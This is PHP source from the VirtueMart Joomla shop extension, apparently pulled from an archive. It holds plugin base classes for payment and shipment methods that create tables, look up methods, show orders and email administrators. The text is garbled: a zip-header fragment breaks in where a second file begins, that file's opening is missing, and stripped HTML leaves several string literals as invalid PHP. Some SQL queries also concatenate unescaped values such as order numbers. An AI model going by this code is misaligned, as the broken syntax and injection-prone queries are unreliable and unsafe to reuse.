$db->setQuery ($q); if (!$res = $db->loadObject ()) { // vmError('selectedThisByMethodId '.$db->getQuery()); return FALSE; } else { return $res; } } } /** * Gets the id of the joomla table where the plugin is registered * * @author Max Milbers */ final protected function getJoomlaPluginId () { if (!empty($this->_jid)) { return $this->_jid; } $db = JFactory::getDBO (); if (JVM_VERSION === 1) { $q = 'SELECT j.`id` AS c FROM #__plugins AS j WHERE j.element = "' . $this->_name . '" AND j.folder = "' . $this->_type . '"'; } else { $q = 'SELECT j.`extension_id` AS c FROM #__extensions AS j WHERE j.element = "' . $this->_name . '" AND j.`folder` = "' . $this->_type . '"'; } $db->setQuery ($q); $this->_jid = $db->loadResult (); if (!$this->_jid) { vmError ('getJoomlaPluginId ' . $db->getErrorMsg ()); return FALSE; } else { return $this->_jid; } } /** * Create the table for this plugin if it does not yet exist. * * @param string $psType shipment,payment,custom * @author Valérie Isaksen * @author Max Milbers */ protected function onStoreInstallPluginTable ($psType,$name=FALSE) { if(!empty($name) and $name!=$this->_name){ return false; } //Todo the psType should be name of the plugin. if ($psType == $this->_psType) { $query = $this->getVmPluginCreateTableSQL (); if(empty($query)){ return false; } else { //if ($query !== 0) { // vmdebug('onStoreInstallPluginTable '.$query); $db = JFactory::getDBO (); $db->setQuery ($query); if (!$db->query ()) { JError::raiseWarning (1, $this->_name . '::onStoreInstallPluginTable: ' . JText::_ ('COM_VIRTUEMART_SQL_ERROR') . ' ' . $db->stderr (TRUE)); echo $this->_name . '::onStoreInstallPluginTable: ' . JText::_ ('COM_VIRTUEMART_SQL_ERROR') . ' ' . $db->stderr (TRUE); } else { return true; } } } return false; } /** * adds loggable fields to the table * * @return array */ function getTableSQLLoggablefields () { return array( 'created_on' => 'datetime NOT NULL default \'0000-00-00 00:00:00\'', 'created_by' => "int(11) NOT NULL DEFAULT '0'", 'modified_on' => 'datetime NOT NULL DEFAULT \'0000-00-00 00:00:00\'', 'modified_by' => "int(11) NOT NULL DEFAULT '0'", 'locked_on' => 'datetime NOT NULL DEFAULT \'0000-00-00 00:00:00\'', 'locked_by' => 'int(11) NOT NULL DEFAULT \'0\'' ); } /** * @param $tableComment * @return string */ protected function createTableSQL ($tableComment,$tablesFields=0) { $query = "CREATE TABLE IF NOT EXISTS `" . $this->_tablename . "` ("; if(!empty($tablesFields)){ foreach ($tablesFields as $fieldname => $fieldtype) { $query .= '`' . $fieldname . '` ' . $fieldtype . " , "; } } else { $SQLfields = $this->getTableSQLFields (); $loggablefields = $this->getTableSQLLoggablefields (); foreach ($SQLfields as $fieldname => $fieldtype) { $query .= '`' . $fieldname . '` ' . $fieldtype . " , "; } foreach ($loggablefields as $fieldname => $fieldtype) { $query .= '`' . $fieldname . '` ' . $fieldtype . ", "; } } $query .= " PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='" . $tableComment . "' AUTO_INCREMENT=1 ;"; return $query; } /** * Set with this function the provided plugin parameters * * @param string $paramsFieldName * @param array $varsToPushParam */ function setConfigParameterable ($paramsFieldName, $varsToPushParam) { $this->_varsToPushParam = $varsToPushParam; $this->_xParams = $paramsFieldName; } /** * @param $name * @param $id * @param $table * @return bool */ protected function setOnTablePluginParams ($name, $id, &$table) { //Todo I think a test on this is wrong here //Adjusted it like already done in declarePluginParams if (!empty($this->_psType) and !$this->selectedThis ($this->_psType, $name, $id)) { return FALSE; } else { if($this->_cryptedFields){ $table->setCryptedFields($this->_cryptedFields); } $table->setParameterable ($this->_xParams, $this->_varsToPushParam); return TRUE; } } /** * @param $psType * @param $name * @param $id * @param $data * @return bool */ protected function declarePluginParams ($psType, $name, $id, &$data) { //vmdebug('declarePluginParams '.$this->_psType.' '.$psType); //Todo I know a test only on seledtThis is wrong here, it works now with extra !empty($this->_psType) if(!empty($this->_psType) and !$this->selectedThis($psType,$name,$id)){ return FALSE; } if (!class_exists ('VmTable')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'vmtable.php'); } VmTable::bindParameterable ($data, $this->_xParams, $this->_varsToPushParam); if($this->_cryptedFields){ $data->setCryptedFields($this->_cryptedFields); } return TRUE; // vmdebug('getDeclaredPluginParams return '.$this->_xParams); // return array($this->_xParams,$this->_varsToPushParam); // } else { // return false; // } } /** * @param $int * @return mixed */ protected function getVmPluginMethod ($int, $cache = true) { if ($this->_vmpCtable === 0 || !$cache) { $db = JFactory::getDBO (); if (!class_exists ($this->_configTableClassName)) { require(JPATH_VM_ADMINISTRATOR . DS . 'tables' . DS . $this->_configTableFileName . '.php'); } $this->_vmpCtable = new $this->_configTableClassName($db); if ($this->_xParams !== 0) { $this->_vmpCtable->setParameterable ($this->_xParams, $this->_varsToPushParam); } if($this->_cryptedFields){ $this->_vmpCtable->setCryptedFields($this->_cryptedFields); } // $this->_vmpCtable = $this->createPluginTableObject($this->_tablename,$this->tableFields,$this->_loggable); } return $this->_vmpCtable->load ($int); } /** * This stores the data of the plugin, attention NOT the configuration of the pluginmethod, * this function should never be triggered only called from triggered functions. * * @author Max Milbers * @param array $values array or object with the data to store * @param string $tableName When different then the default of the plugin, provid it here * @param string $tableKey an additionally unique key */ protected function storePluginInternalData (&$values, $primaryKey = 0, $id = 0, $preload = FALSE) { if ($primaryKey === 0) { $primaryKey = $this->_tablepkey; } if ($this->_vmpItable === 0 or $id==0) { $this->_vmpItable = $this->createPluginTableObject ($this->_tablename, $this->tableFields, $primaryKey, $this->_tableId, $this->_loggable); } $this->_vmpItable->bindChecknStore ($values, $preload); //vmdebug('storePluginInternalData',$values,$this->_vmpItable); $errors = $this->_vmpItable->getErrors (); if (!empty($errors)) { foreach ($errors as $error) { vmError ($error); } } return $values; } /** * This loads the data stored by the plugin before, NOT the configuration of the method, * this function should never be triggered only called from triggered functions. * * @param int $id * @param string $primaryKey */ protected function getPluginInternalData ($id, $primaryKey = 0) { if ($primaryKey === 0) { $primaryKey = $this->_tablepkey; } if ($this->_vmpItable === 0) { $this->_vmpItable = $this->createPluginTableObject ($this->_tablename, $this->tableFields, $primaryKey, $this->_tableId, $this->_loggable); } // vmdebug('getPluginInternalData $id '.$id.' and $primaryKey '.$primaryKey); return $this->_vmpItable->load ($id); } /** * @param $tableName * @param $tableFields * @param $primaryKey * @param $tableId * @param bool $loggable * @return VmTableData */ protected function createPluginTableObject ($tableName, $tableFields, $primaryKey, $tableId, $loggable = FALSE) { if (!class_exists ('VmTableData')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'vmtabledata.php'); } $db = JFactory::getDBO (); $table = new VmTableData($tableName, $tableId, $db); foreach ($tableFields as $field) { $table->$field = 0; } if ($primaryKey !== 0) { $table->setPrimaryKey ($primaryKey); } if ($loggable) { $table->setLoggable (); } if($this->_cryptedFields){ $this->_vmpCtable->setCryptedFields($this->_cryptedFields); } if (!$this->_tableChecked) { $this->onStoreInstallPluginTable ($this->_psType); $this->_tableChecked = TRUE; } return $table; } /** * @param $id * @param int $primaryKey * @return mixed */ protected function removePluginInternalData ($id, $primaryKey = 0) { if ($primaryKey === 0) { $primaryKey = $this->_tablepkey; } if ($this->_vmpItable === 0) { $this->_vmpItable = $this->createPluginTableObject ($this->_tablename, $this->tableFields, $primaryKey, $this->_tableId, $this->_loggable); } vmdebug ('removePluginInternalData $id ' . $id . ' and $primaryKey ' . $primaryKey); return $this->_vmpItable->delete ($id); } /** * Get the path to a layout for a type * * @param string $type The name of the type * @param string $layout The name of the type layout. If alternative * layout, in the form template:filename. * @param array $viewData The data you want to use in the layout * can be an object/array/string... to reuse in the template * @return string The path to the type layout * original from libraries\joomla\application\module\helper.php * @since 11.1 * @author Patrick Kohl, Valérie Isaksen */ public function renderByLayout ($layout = 'default', $viewData = NULL, $name = NULL, $psType = NULL) { if ($name === NULL) { $name = $this->_name; } if ($psType === NULL) { $psType = $this->_psType; } $layout = vmPlugin::_getLayoutPath ($name, 'vm' . $psType, $layout); ob_start (); include ($layout); return ob_get_clean (); } /** * Note: We have 2 subfolders for versions > J15 for 3rd parties developers, to avoid 2 installers * * @author Patrick Kohl, Valérie Isaksen */ private function _getLayoutPath ($pluginName, $group, $layout = 'default') { $app = JFactory::getApplication (); // get the template and default paths for the layout if (JVM_VERSION === 2) { $templatePath = JPATH_SITE . DS . 'templates' . DS . $app->getTemplate () . DS . 'html' . DS . $group . DS . $pluginName . DS . $layout . '.php'; $defaultPath = JPATH_SITE . DS . 'plugins' . DS . $group . DS . $pluginName . DS . $pluginName . DS . 'tmpl' . DS . $layout . '.php'; } else { $templatePath = JPATH_SITE . DS . 'templates' . DS . $app->getTemplate () . DS . 'html' . DS . $group . DS . $pluginName . DS . $layout . '.php'; $defaultPath = JPATH_SITE . DS . 'plugins' . DS . $group . DS . $pluginName . DS . 'tmpl' . DS . $layout . '.php'; } // if the site template has a layout override, use it jimport ('joomla.filesystem.file'); if (JFile::exists ($templatePath)) { return $templatePath; } else { return $defaultPath; } } } PKB\oixxplugins/vmpsplugin.phpnuW+A_tablepkey = 'id'; //virtuemart_order_id'; $this->_idName = 'virtuemart_' . $this->_psType . 'method_id'; $this->_configTable = '#__virtuemart_' . $this->_psType . 'methods'; $this->_configTableFieldName = $this->_psType . '_params'; $this->_configTableFileName = $this->_psType . 'methods'; $this->_configTableClassName = 'Table' . ucfirst ($this->_psType) . 'methods'; //TablePaymentmethods // $this->_configTableIdName = $this->_psType.'_jplugin_id'; $this->_loggable = TRUE; $this->_tableChecked = TRUE; } public function getVarsToPush () { $black_list = array('spacer'); $data = array(); if (JVM_VERSION === 2) { $filename = JPATH_SITE . '/plugins/' . $this->_type . '/' . $this->_name . '/' . $this->_name . '.xml'; } else { $filename = JPATH_SITE . '/plugins/' . $this->_type . '/' . $this->_name . '.xml'; } // Check of the xml file exists $filePath = JPath::clean ($filename); if (is_file ($filePath)) { $xml = JFactory::getXMLParser ('simple'); $result = $xml->loadFile ($filename); if ($result) { if ($params = $xml->document->params) { foreach ($params as $param) { if ($param->_name = "params") { if ($children = $param->_children) { foreach ($children as $child) { if (isset($child->_attributes['name'])) { $data[$child->_attributes['name']] = array('', 'char'); $result = TRUE; } } } } } } } } return $data; } /** * check if it is the correct type * * @param string $psType either payment or shipment * @return boolean */ public function selectedThisType ($psType) { if ($this->_psType <> $psType) { return FALSE; } else { return TRUE; } } /** * Create the table for this plugin if it does not yet exist. * This functions checks if the called plugin is active one. * When yes it is calling the standard method to create the tables * * @author Valérie Isaksen * */ protected function onStoreInstallPluginTable ($jplugin_id, $name = FALSE) { if ($res = $this->selectedThisByJPluginId ($jplugin_id)) { parent::onStoreInstallPluginTable ($this->_psType); } return $res; } /** * This event is fired after the payment method has been selected. It can be used to store * additional payment info in the cart. * * @author Max Milbers * @author Valérie isaksen * * @param VirtueMartCart $cart: the actual cart * @return null if the payment was not selected, true if the data is valid, error message if the data is not vlaid * */ public function onSelectCheck (VirtueMartCart $cart) { $idName = $this->_idName; //vmdebug('OnSelectCheck',$idName); if (!$this->selectedThisByMethodId ($cart->$idName)) { return NULL; // Another method was selected, do nothing } return TRUE; // this method was selected , and the data is valid by default } /** * displayListFE * This event is fired to display the pluginmethods in the cart (edit shipment/payment) for example * * @param object $cart Cart object * @param integer $selected ID of the method selected * @return boolean True on success, false on failures, null when this plugin was not selected. * On errors, JError::raiseWarning (or JError::raiseError) must be used to set a message. * * @author Valerie Isaksen * @author Max Milbers */ public function displayListFE (VirtueMartCart $cart, $selected = 0, &$htmlIn) { if ($this->getPluginMethods ($cart->vendorId) === 0) { if (empty($this->_name)) { vmAdminInfo ('displayListFE cartVendorId=' . $cart->vendorId); $app = JFactory::getApplication (); $app->enqueueMessage (JText::_ ('COM_VIRTUEMART_CART_NO_' . strtoupper ($this->_psType))); return FALSE; } else { return FALSE; } } $html = array(); $method_name = $this->_psType . '_name'; foreach ($this->methods as $method) { if ($this->checkConditions ($cart, $method, $cart->pricesUnformatted)) { //$methodSalesPrice = $this->calculateSalesPrice ($cart, $method, $cart->pricesUnformatted); /* Because of OPC: the price must not be overwritten directly in the cart */ $pricesUnformatted= $cart->pricesUnformatted; $methodSalesPrice = $this->setCartPrices ($cart, $pricesUnformatted,$method); $method->$method_name = $this->renderPluginName ($method); $html [] = $this->getPluginHtml ($method, $selected, $methodSalesPrice); } } if (!empty($html)) { $htmlIn[] = $html; return TRUE; } return FALSE; } /* * onSelectedCalculatePrice * Calculate the price (value, tax_id) of the selected method * It is called by the calculator * This function does NOT to be reimplemented. If not reimplemented, then the default values from this function are taken. * @author Valerie Isaksen * @cart: VirtueMartCart the current cart * @cart_prices: array the new cart prices * @return null if the method was not selected, false if the shipping rate is not valid any more, true otherwise * */ public function onSelectedCalculatePrice (VirtueMartCart $cart, array &$cart_prices, &$cart_prices_name) { $id = $this->_idName; //vmTime('onSelectedCalculatePrice before test '.$cart->$id,'prepareCartData'); if (!($method = $this->selectedThisByMethodId ($cart->$id))) { return NULL; // Another method was selected, do nothing } if (!($method = $this->getVmPluginMethod ($cart->$id))) { return NULL; } $cart_prices_name = ''; $cart_prices['cost'] = 0; if (!$this->checkConditions ($cart, $method, $cart_prices)) { return FALSE; } $cart_prices_name = $this->renderPluginName ($method); $this->setCartPrices ($cart, $cart_prices, $method); return TRUE; } /** * onCheckAutomaticSelected * Checks how many plugins are available. If only one, the user will not have the choice. Enter edit_xxx page * The plugin must check first if it is the correct type * * @author Valerie Isaksen * @param VirtueMartCart cart: the cart object * @return null if no plugin was found, 0 if more then one plugin was found, virtuemart_xxx_id if only one plugin is found * */ function onCheckAutomaticSelected (VirtueMartCart $cart, array $cart_prices = array(), &$methodCounter = 0) { $virtuemart_pluginmethod_id = 0; $nbMethod = $this->getSelectable ($cart, $virtuemart_pluginmethod_id, $cart_prices); $methodCounter += $nbMethod; if ($nbMethod == NULL) { return NULL; } else { if ($nbMethod == 1) { return $virtuemart_pluginmethod_id; } else { return 0; } } } /** * This method is fired when showing the order details in the frontend. * It displays the method-specific data. * * @param integer $order_id The order ID * @return mixed Null for methods that aren't active, text (HTML) otherwise * @author Max Milbers * @author Valerie Isaksen */ protected function onShowOrderFE ($virtuemart_order_id, $virtuemart_method_id, &$method_info) { if (!($this->selectedThisByMethodId ($virtuemart_method_id))) { return NULL; } $method_info = $this->getOrderMethodNamebyOrderId ($virtuemart_order_id); } /** * * @author Valerie Isaksen * @author Max Milbers * @param int $virtuemart_order_id * @return string pluginName from the plugin table */ private function getOrderMethodNamebyOrderId ($virtuemart_order_id) { $db = JFactory::getDBO (); $q = 'SELECT * FROM `' . $this->_tablename . '` ' . 'WHERE `virtuemart_order_id` = ' . $virtuemart_order_id; $db->setQuery ($q); $err =$db->getErrorMsg (); if (!($pluginInfo = $db->loadObject ())) { vmdebug ('Attention, ' . $this->_tablename . ' has not any entry for order_id = '.$virtuemart_order_id); if(!empty($err)){ vmWarn ('Attention, ' . $this->_tablename . ' has not any entry for order_id = '.$virtuemart_order_id. ' err = '.$err); } return NULL; } $idName = $this->_psType . '_name'; return $pluginInfo->$idName; } /** * * @author Valerie Isaksen * @author Max Milbers * @param int $virtuemart_order_id * @return string pluginName from the plugin table */ private function getOrderPluginNamebyOrderId ($virtuemart_order_id) { $db = JFactory::getDBO (); $q = 'SELECT * FROM `' . $this->_tablename . '` ' . 'WHERE `virtuemart_order_id` = ' . $virtuemart_order_id; $db->setQuery ($q); if (!($pluginInfo = $db->loadObject ())) { vmWarn (500, $q . " getOrderPluginNamebyOrderId " . $db->getErrorMsg ()); return NULL; } $idName = $this->_idName; return $pluginInfo->$idName; } /** * check if it is the correct element * * @param string $element either standard or paypal * @return boolean */ public function selectedThisElement ($element) { if ($this->_name <> $element) { return FALSE; } else { return TRUE; } } /** * This method is fired when showing the order details in the backend. * It displays the the payment method-specific data. * All plugins *must* reimplement this method. * * @param integer $_virtuemart_order_id The order ID * @param integer $_paymethod_id Payment method used for this order * @return mixed Null when for payment methods that were not selected, text (HTML) otherwise * @author Max Milbers * @author Valerie Isaksen */ function onShowOrderBE ($_virtuemart_order_id, $_method_id) { return NULL; } /** * This method is fired when showing when priting an Order * It displays the the payment method-specific data. * * @param integer $_virtuemart_order_id The order ID * @param integer $method_id method used for this order * @return mixed Null when for payment methods that were not selected, text (HTML) otherwise * @author Valerie Isaksen */ function onShowOrderPrint ($order_number, $method_id) { if (!$this->selectedThisByMethodId ($method_id)) { return NULL; // Another method was selected, do nothing } if (!($order_name = $this->getOrderPluginName ($order_number, $method_id))) { return NULL; } VmConfig::loadJLang('com_virtuemart'); $html = '' . "\n" . ' ' . "\n" . ' ' . "\n" . ' ' . "\n" . ' ' . "\n" . ' ' . "\n" . ' ' . "\n" . ' ' . "\n" . ' ' . "\n" . ' ' . "\n"; $html .= '
' . JText::_ ('COM_VIRTUEMART_ORDER_PRINT_' . strtoupper($this->_type) . '_LBL') . '
' . JText::_ ('COM_VIRTUEMART_ORDER_PRINT_' . strtoupper($this->_type) . '_LBL') . ': ' . $order_name . '
' . "\n"; return $html; } private function getOrderPluginName ($order_number, $pluginmethod_id) { $db = JFactory::getDBO (); $q = 'SELECT * FROM `' . $this->_tablename . '` WHERE `order_number` = "' . $order_number . '" AND `' . $this->_idName . '` =' . $pluginmethod_id; $db->setQuery ($q); if (!($order = $db->loadObject ())) { return NULL; } $plugin_name = $this->_psType . '_name'; return $order->$plugin_name; } /** * Save updated order data to the method specific table * * @param array $_formData Form data * @return mixed, True on success, false on failures (the rest of the save-process will be * skipped!), or null when this method is not actived. * @author Oscar van Eijk */ public function onUpdateOrder ($formData) { return NULL; } /** * Save updated orderline data to the method specific table * * @param array $_formData Form data * @return mixed, True on success, false on failures (the rest of the save-process will be * skipped!), or null when this method is not actived. * @author Oscar van Eijk */ public function onUpdateOrderLine ($formData) { return NULL; } /** * OnEditOrderLineBE * This method is fired when editing the order line details in the backend. * It can be used to add line specific package codes * * @param integer $_orderId The order ID * @param integer $_lineId * @return mixed Null for method that aren't active, text (HTML) otherwise * @author Oscar van Eijk */ public function onEditOrderLineBE ($orderId, $lineId) { return NULL; } /** * This method is fired when showing the order details in the frontend, for every orderline. * It can be used to display line specific package codes, e.g. with a link to external tracking and * tracing systems * * @param integer $_orderId The order ID * @param integer $_lineId * @return mixed Null for method that aren't active, text (HTML) otherwise * @author Oscar van Eijk */ public function onShowOrderLineFE ($orderId, $lineId) { return NULL; } /** * This event is fired when the method notifies you when an event occurs that affects the order. * Typically, the events represents for payment authorizations, Fraud Management Filter actions and other actions, * such as refunds, disputes, and chargebacks. * * NOTE for Plugin developers: * If the plugin is NOT actually executed (not the selected payment method), this method must return NULL * * @param $return_context: it was given and sent in the payment form. The notification should return it back. * Used to know which cart should be emptied, in case it is still in the session. * @param int $virtuemart_order_id : payment order id * @param char $new_status : new_status for this order id. * @return mixed Null when this method was not selected, otherwise the true or false * * @author Valerie Isaksen * */ public function onNotification () { return NULL; } /** * OnResponseReceived * This event is fired when the method returns to the shop after the transaction * * the method itself should send in the URL the parameters needed * NOTE for Plugin developers: * If the plugin is NOT actually executed (not the selected payment method), this method must return NULL * * @param int $virtuemart_order_id : should return the virtuemart_order_id * @param text $html: the html to display * @return mixed Null when this method was not selected, otherwise the true or false * * @author Valerie Isaksen * */ function onResponseReceived (&$virtuemart_order_id, &$html) { return NULL; } function getDebug () { return $this->_debug; } function setDebug ($params) { return $this->_debug = $params->get ('debug', 0); } /** * Get Plugin Data for a go given plugin ID * * @author Valérie Isaksen * @param int $pluginmethod_id The method ID * @return method data */ final protected function getPluginMethod ($method_id) { if (!$this->selectedThisByMethodId ($method_id)) { return FALSE; } return $this->getVmPluginMethod ($method_id); } /** * Fill the array with all plugins found with this plugin for the current vendor * * @return True when plugins(s) was (were) found for this vendor, false otherwise * @author Oscar van Eijk * @author max Milbers * @author valerie Isaksen */ protected function getPluginMethods ($vendorId) { if (!class_exists ('VirtueMartModelUser')) { require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'user.php'); } $usermodel = VmModel::getModel ('user'); $user = $usermodel->getUser (); $user->shopper_groups = (array)$user->shopper_groups; $db = JFactory::getDBO (); $select = 'SELECT l.*, v.*, '; if (JVM_VERSION === 1) { $extPlgTable = '#__plugins'; $extField1 = 'id'; $extField2 = 'element'; $select .= 'j.`' . $extField1 . '`, j.`name`, j.`element`, j.`folder`, j.`client_id`, j.`access`, j.`params`, j.`checked_out`, j.`checked_out_time`, s.virtuemart_shoppergroup_id '; } else { $extPlgTable = '#__extensions'; $extField1 = 'extension_id'; $extField2 = 'element'; $select .= 'j.`' . $extField1 . '`,j.`name`, j.`type`, j.`element`, j.`folder`, j.`client_id`, j.`enabled`, j.`access`, j.`protected`, j.`manifest_cache`, j.`params`, j.`custom_data`, j.`system_data`, j.`checked_out`, j.`checked_out_time`, j.`state`, s.virtuemart_shoppergroup_id '; } if(!defined(VMLANG)){ VmConfig::setdbLanguageTag(); } $q = $select . ' FROM `#__virtuemart_' . $this->_psType . 'methods_' . VMLANG . '` as l '; $q .= ' JOIN `#__virtuemart_' . $this->_psType . 'methods` AS v USING (`virtuemart_' . $this->_psType . 'method_id`) '; $q .= ' LEFT JOIN `' . $extPlgTable . '` as j ON j.`' . $extField1 . '` = v.`' . $this->_psType . '_jplugin_id` '; $q .= ' LEFT OUTER JOIN `#__virtuemart_' . $this->_psType . 'method_shoppergroups` AS s ON v.`virtuemart_' . $this->_psType . 'method_id` = s.`virtuemart_' . $this->_psType . 'method_id` '; $q .= ' WHERE v.`published` = "1" AND j.`' . $extField2 . '` = "' . $this->_name . '" AND (v.`virtuemart_vendor_id` = "' . $vendorId . '" OR v.`virtuemart_vendor_id` = "0") AND ('; foreach ($user->shopper_groups as $groups) { $q .= ' s.`virtuemart_shoppergroup_id`= "' . (int)$groups . '" OR'; } $q .= ' (s.`virtuemart_shoppergroup_id`) IS NULL ) GROUP BY v.`virtuemart_' . $this->_psType . 'method_id` ORDER BY v.`ordering`'; $db->setQuery ($q); $this->methods = $db->loadObjectList (); $err = $db->getErrorMsg (); if (!empty($err)) { vmError ('Error reading getPluginMethods ' . $err); } if ($this->methods) { foreach ($this->methods as $method) { VmTable::bindParameterable ($method, $this->_xParams, $this->_varsToPushParam); } } return count ($this->methods); } /** * Get Method Data for a given Payment ID * * @author Valérie Isaksen * @param int $virtuemart_order_id The order ID * @return $methodData */ final protected function getDataByOrderId ($virtuemart_order_id) { $db = JFactory::getDBO (); $q = 'SELECT * FROM `' . $this->_tablename . '` ' . 'WHERE `virtuemart_order_id` = ' . $virtuemart_order_id; $db->setQuery ($q); $methodData = $db->loadObject (); return $methodData; } /** * Get Method Datas for a given Payment ID * * @author Valérie Isaksen * @param int $virtuemart_order_id The order ID * @return $methodData */ final protected function getDatasByOrderId ($virtuemart_order_id) { $db = JFactory::getDBO (); $q = 'SELECT * FROM `' . $this->_tablename . '` ' . 'WHERE `virtuemart_order_id` = ' . $virtuemart_order_id; $db->setQuery ($q); $methodData = $db->loadObjectList (); return $methodData; } /** * Get the total weight for the order, based on which the proper shipping rate * can be selected. * * @param object $cart Cart object * @return float Total weight for the order * @author Oscar van Eijk */ protected function getOrderWeight (VirtueMartCart $cart, $to_weight_unit) { static $weight = 0.0; if(count($cart->products)>0 and empty($weight)){ foreach ($cart->products as $product) { $weight += (ShopFunctions::convertWeightUnit ($product->product_weight, $product->product_weight_uom, $to_weight_unit) * $product->quantity); } } return $weight; } /** * getThisName * Get the name of the method * * @param int $id The method ID * @author Valérie Isaksen * @return string Shipment name */ final protected function getThisName ($virtuemart_method_id) { $db = JFactory::getDBO (); $q = 'SELECT `' . $this->_psType . '_name` ' . 'FROM #__virtuemart_' . $this->_psType . 'methods ' . 'WHERE ' . $this->_idName . ' = "' . $virtuemart_method_id . '" '; $db->setQuery ($q); return $db->loadResult (); // TODO Error check } /** * Extends the standard function in vmplugin. Extendst the input data by virtuemart_order_id * Calls the parent to execute the write operation * * @author Max Milbers * @param array $_values * @param string $_table */ protected function storePSPluginInternalData ($values, $primaryKey = 0, $preload = FALSE) { if (!class_exists ('VirtueMartModelOrders')) { require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'orders.php'); } if (!isset($values['virtuemart_order_id'])) { $values['virtuemart_order_id'] = VirtueMartModelOrders::getOrderIdByOrderNumber ($values['order_number']); } return $this->storePluginInternalData ($values, $primaryKey, 0, $preload); } /** * Something went wrong, Send notification to all administrators * * @param string subject of the mail * @param string message */ protected function sendEmailToVendorAndAdmins ($subject = NULL, $message = NULL) { // recipient is vendor and admin $vendorId = 1; $vendorModel = VmModel::getModel('vendor'); $vendor = $vendorModel->getVendor($vendorId); $vendorEmail = $vendorModel->getVendorEmail($vendorId); $vendorName = $vendorModel->getVendorName($vendorId); VmConfig::loadJLang('com_virtuemart'); if ($subject == NULL) { $subject = JText::sprintf('COM_VIRTUEMART_ERROR_SUBJECT', $this->_name, $vendor->vendor_store_name); } if ($message == NULL) { $link=juri::root().'administrator/index.php?option=com_virtuemart&view=log&task=edit&logfile='.$this->getLogFilename().VmConfig::LOGFILEEXT; //$logFileLink=''.$this->getLogFilename().VmConfig::LOGFILEEXT.''; $message = JText::sprintf('COM_VIRTUEMART_ERROR_BODY', $subject, $link); } JUtility::sendMail($vendorEmail, $vendorName, $vendorEmail, $subject, $message); if (JVM_VERSION === 1) { //get all super administrator $query = 'SELECT name, email, sendEmail' . ' FROM #__users' . ' WHERE LOWER( usertype ) = "super administrator"'; } else { $query = 'SELECT name, email, sendEmail' . ' FROM #__users' . ' WHERE sendEmail=1'; } $db = JFactory::getDBO(); $db->setQuery($query); $rows = $db->loadObjectList(); $subject = html_entity_decode($subject, ENT_QUOTES); // get superadministrators id foreach ($rows as $row) { if ($row->sendEmail) { $message = html_entity_decode($message, ENT_QUOTES); JUtility::sendMail($vendorEmail, $vendorName, $row->email, $subject, $message); } } } /** * displays the logos of a VirtueMart plugin * * @author Valerie Isaksen * @author Max Milbers * @param array $logo_list * @return html with logos */ protected function displayLogos ($logo_list) { $img = ""; if (!(empty($logo_list))) { $url = JURI::root () . 'images/stories/virtuemart/' . $this->_psType . '/'; if (!is_array ($logo_list)) { $logo_list = (array)$logo_list; } foreach ($logo_list as $logo) { $alt_text = substr ($logo, 0, strpos ($logo, '.')); $img .= ' '; } } return $img; } /** * @param $plugin plugin */ protected function renderPluginName ($plugin) { $return = ''; $plugin_name = $this->_psType . '_name'; $plugin_desc = $this->_psType . '_desc'; $description = ''; // $params = new JParameter($plugin->$plugin_params); // $logo = $params->get($this->_psType . '_logos'); $logosFieldName = $this->_psType . '_logos'; $logos = $plugin->$logosFieldName; if (!empty($logos)) { $return = $this->displayLogos ($logos) . ' '; } if (!empty($plugin->$plugin_desc)) { $description = '' . $plugin->$plugin_desc . ''; } $pluginName = $return . '' . $plugin->$plugin_name . '' . $description; return $pluginName; } protected function getPluginHtml ($plugin, $selectedPlugin, $pluginSalesPrice) { $pluginmethod_id = $this->_idName; $pluginName = $this->_psType . '_name'; if ($selectedPlugin == $plugin->$pluginmethod_id) { $checked = 'checked="checked"'; } else { $checked = ''; } if (!class_exists ('CurrencyDisplay')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'currencydisplay.php'); } $currency = CurrencyDisplay::getInstance (); $costDisplay = ""; if ($pluginSalesPrice) { $costDisplay = $currency->priceDisplay ($pluginSalesPrice); $costDisplay = ' (' . JText::_ ('COM_VIRTUEMART_PLUGIN_COST_DISPLAY') . $costDisplay . ")"; } $html = '\n" . '\n"; return $html; } /** * */ protected function getHtmlHeaderBE () { $class = "class='key'"; $html = ' ' . "\n" . ' ' . "\n" . ' ' . JText::_ ('COM_VIRTUEMART_ORDER_PRINT_' . strtoupper($this->_psType) . '_LBL') . '' . "\n" . ' ' . "\n" . ' ' . "\n"; return $html; } /** * */ protected function getHtmlRow ($key, $value, $class = '') { $lang = JFactory::getLanguage (); $key_text = ''; $complete_key = strtoupper ($this->_type . '_' . $key); // vmdebug('getHtmlRow',$key,$complete_key); // vmdebug('getHtmlRow',$key,$complete_key); if ($lang->hasKey($complete_key)) { $key_text = JText::_ ($complete_key); } else { $key_text = JText::_ ($key); } $more_key = strtoupper($complete_key . '_' . $value); if ($lang->hasKey ($more_key)) { $value .= " (" . JText::_ ($more_key) . ")"; } $html = "\n" . $key_text . "\n " . $value . "\n\n"; return $html; } function getHtmlRowBE ($key, $value) { return $this->getHtmlRow ($key, $value, "class='key'"); } /** * getSelectable * This method returns the number of valid methods * * @param VirtueMartCart cart: the cart object * @param $method_id eg $virtuemart_shipmentmethod_id * */ function getSelectable (VirtueMartCart $cart, &$method_id, $cart_prices) { $nbMethod = 0; if ($this->getPluginMethods ($cart->vendorId) === 0) { return FALSE; } foreach ($this->methods as $method) { if ($nb = (int)$this->checkConditions ($cart, $method, $cart_prices)) { $nbMethod = $nbMethod + $nb; $idName = $this->_idName; $method_id = $method->$idName; } } return $nbMethod; } /** * * Enter description here ... * * @author Valerie Isaksen * @author Max Milbers * @param VirtueMartCart $cart * @param int $method * @param array $cart_prices */ protected function checkConditions ($cart, $method, $cart_prices) { vmAdminInfo ('vmPsPlugin function checkConditions not overriden, gives always back FALSE'); return FALSE; } /** * @param $method */ function convert_condition_amount (&$method) { $method->min_amount = (float)str_replace(',','.',$method->min_amount); $method->max_amount = (float)str_replace(',','.',$method->max_amount); } /** * @param $method * @param bool $getCurrency */ static function getPaymentCurrency (&$method, $getCurrency = FALSE) { if (!isset($method->payment_currency) or empty($method->payment_currency) or !$method->payment_currency or $getCurrency) { // if (!class_exists('VirtueMartModelVendor')) require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'vendor.php'); $vendorId = 1; //VirtueMartModelVendor::getLoggedVendor(); $db = JFactory::getDBO (); $q = 'SELECT `vendor_currency` FROM 